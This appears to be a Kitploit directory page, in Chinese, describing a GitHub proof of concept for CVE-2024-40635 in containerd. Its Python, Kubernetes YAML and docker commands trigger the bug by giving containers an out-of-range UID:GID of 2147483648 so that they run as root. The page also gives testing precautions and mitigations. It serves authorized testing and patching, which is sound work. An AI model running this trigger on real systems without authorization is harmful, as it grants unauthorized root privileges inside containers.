Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-40635_POC — 用于证明 CVE-2024-40635 漏洞的概念验证代码 | Kitploit
工具/GitHubGitHub/yen5004/cve-2024-40635_poc
容器安全漏洞分析漏洞利用渗透测试云安全学习与教育
GitHubyen5004/cve-2024-40635_poc

CVE-2024-40635_POC

用于证明 CVE-2024-40635 漏洞的概念验证代码

查看仓库
41年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-40635_POC

CVE-2024-40635 漏洞的概念验证代码 数据来源:https://nvd.nist.gov/vuln/detail/CVE-2024-40635

1. 导入 Docker 库

root@kitploit:~
import docker

这将导入 Python 的 docker 库,允许通过其 API 与 Docker 交互。如果尚未安装该库,可以通过运行以下命令添加:

root@kitploit:~
pip install docker

2. 初始化 Docker 客户端

root@kitploit:~
client = docker.from_env()

这里,我们使用 docker.from_env() 方法创建一个 Docker 客户端对象。这将连接到您机器上(或远程主机上,如果已配置)正在运行的 Docker 守护进程。

3. 定义检查漏洞的函数

root@kitploit:~
def is_system_vulnerable(container):
    try:
        # Inspect container details
        details = container.attrs
        uid_gid = details['Config']['User']
        print(f"Container UID:GID = {uid_gid}")  # Print the UID:GID
        if uid_gid == "0:0":  # Root UID:GID
            return True
        return False
    except Exception as e:
        print(f"Error checking container details: {e}")
        return False
  • 目的:该函数通过检查已创建容器的属性来判断系统是否易受攻击。

  • 关键步骤:

    • container.attrs:获取容器的所有元数据(配置、运行时设置等)。

    • details['Config']['User']:提取容器运行时的 UID:GID(用户和组 ID)。这是我们正在测试的属性。

    • print(f"Container UID:GID = {uid_gid}"):始终打印 UID:GID 以便可视化。

    • 检查漏洞:如果 UID:GID 为 "0:0",则表明容器以 root 权限运行,系统存在漏洞。

4. 运行 Docker 容器

root@kitploit:~
container = client.containers.run(
    "vulnerable-image",  # 替换为您的测试镜像
    user="2147483648:2147483648",  # 超出 32 位有符号整数范围的 UID:GID
    detach=True
)
  • client.containers.run:创建并启动一个 Docker 容器。

    • "vulnerable-image":将其替换为适合测试的实际 Docker 镜像名称。

    • user="2147483648:2147483648":这里,我们设置了一个自定义的用户和组 ID (UID:GID)。这些值超出了 32 位有符号整数范围,这是漏洞的触发条件。

    • detach=True:确保容器在后台运行,使脚本无需等待容器执行完毕即可继续。

5. 错误检查

root@kitploit:~
try:
    ...
except Exception as e:
    print(f"Error: {e}")

这个 try-except 块确保在容器创建或执行过程中出现的任何错误都能被捕获并打印,避免脚本意外终止。

6. 打印容器 ID

root@kitploit:~
print(f"Container {container.id} started.")

一旦容器成功创建并启动,其唯一 ID 将被打印出来以供参考。这对于调试或进一步检查容器非常有用。

7. 调用漏洞检查

root@kitploit:~
if is_system_vulnerable(container):
    print("System is vulnerable: Container is running as root!")
else:
    print("System is not vulnerable.")

这将调用 is_system_vulnerable 函数,并将已创建的容器作为参数传入。

根据结果(True 表示存在漏洞,False 表示不存在),打印相应的消息。

8. 输出详情

脚本旨在在其输出中提供详细信息,包括:

  • 分配给容器的 UID:GID。

  • 系统是否存在漏洞的明确指示。

示例演练:

假设此脚本在测试环境中运行,可能发生以下情况:

  1. 使用易受攻击的镜像和用户 2147483648:2147483648 创建一个容器。
  2. 在漏洞检查期间,系统将这些 ID 解释为 0:0 (root),导致容器以 root 权限运行。
  3. 脚本识别出此行为,并打印:
root@kitploit:~
Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!

或者,如果系统正确处理大的 UID:GID 值且不将其映射到 root,您可能会看到:

root@kitploit:~
Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.

测试注意事项:

  • 使用隔离环境(例如虚拟机)以避免影响生产系统。
  • 将 "vulnerable-image" 替换为适合测试场景的 Docker 镜像(例如依赖最少的镜像)。
  • 确保 Docker 已安装并且可以从 Python 环境访问。

在环境中运行

在诸如 Kubernetes 和 Harbor 的在线环境中运行此概念验证 (PoC) 进行渗透测试需要仔细规划,以确保测试受控、符合道德且有效。以下是您可以如何进行测试的详细说明:

1. 规划与准备 了解范围:定义测试的边界。确保您拥有在在线环境中执行渗透测试的明确许可。

2. 备份:创建关键系统和容器的备份,以防测试影响其可用性或数据。

3 测试环境:在 Kubernetes 中设置一个专用的命名空间或集群,用于此 PoC,以避免影响生产工作负载。

  1. 使用 Kubernetes 进行测试 以下是将 PoC 集成到 Kubernetes 的方法: a. 部署易受攻击的版本
  • 在您的 Kubernetes 集群中部署一个使用易受攻击版本的 containerd (v1.6.35-gke.0) 的容器。

  • 使用依赖最少的 Docker 镜像(例如 "vulnerable-image")以保持攻击面较小。

用于 Kubernetes 部署的示例 YAML:

root@kitploit:~
apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-pod
  namespace: pentest
spec:
  containers:
  - name: vulnerable-container
    image: vulnerable-image  # 替换为您的测试镜像
    securityContext:
      runAsUser: 2147483648  # 有意超出 32 位有符号整数范围
      runAsGroup: 2147483648

使用以下命令应用 YAML:

root@kitploit:~
kubectl apply -f pod.yml

b. 使用 PoC 进行验证

  • 从有权访问 Kubernetes 集群的机器上运行您开发的 Python 脚本。例如,您可以修改脚本以使用 kubernetes Python 库与 Kubernetes 交互。

  • 安装该库:

root@kitploit:~
pip install kubernetes

以下是集成 Kubernetes 的更新代码片段:

root@kitploit:~
from kubernetes import client, config

# 加载 Kubernetes 配置
config.load_kube_config()

# 创建 Kubernetes API 客户端
v1 = client.CoreV1Api()

# 检查指定 Pod 的 UID:GID
def check_pod_user(pod_name, namespace):
    pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
    uid = pod.spec.containers[0].security_context.run_as_user
    gid = pod.spec.containers[0].security_context.run_as_group
    print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
    if uid == 0 and gid == 0:
        print("System is vulnerable: Pod is running as root!")
    else:
        print("System is not vulnerable.")

check_pod_user("vulnerable-pod", "pentest")
  1. 使用 Harbor 进行镜像管理 由于 Harbor 是一个容器镜像仓库,您可以:
  • 推送易受攻击的镜像:标记并推送您的易受攻击镜像到 Harbor:
root@kitploit:~
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
  • 拉取镜像进行测试:通过在 YAML 文件的 image 字段中指定完整的 Harbor 路径,确保 Kubernetes Pod 使用来自 Harbor 的镜像。

Harbor 允许您控制镜像访问权限,因此请限制访问,确保易受攻击的镜像仅用于渗透测试。

  1. 验证并记录结果
  • 验证:运行 PoC 后,检查日志中是否有任何指示漏洞触发的信息。例如,确认容器(或 Pod)是否以 root 权限运行。

  • 文档:记录您的发现,例如:

    • 分配给容器或 Pod 的 UID:GID。
    • 指示系统是否易受攻击的日志或输出。
    • 缓解措施建议(例如,将 containerd 升级到已修复的版本)。
  1. 缓解措施 测试完成后:
  • 通过将 containerd 升级到修复版本(1.6.38 或更高版本)来修补您的环境。
  • 实施安全策略(例如,使用 PodSecurityPolicy 或 Open Policy Agent),防止运行具有不安全 UID:GID 配置的容器。

警告

  • 仅在您控制或拥有明确测试许可的环境中进行测试。
  • 确保易受攻击的镜像不会部署到测试环境之外。
  • 通过向您的组织报告来负责任地处理敏感发现。
下载工具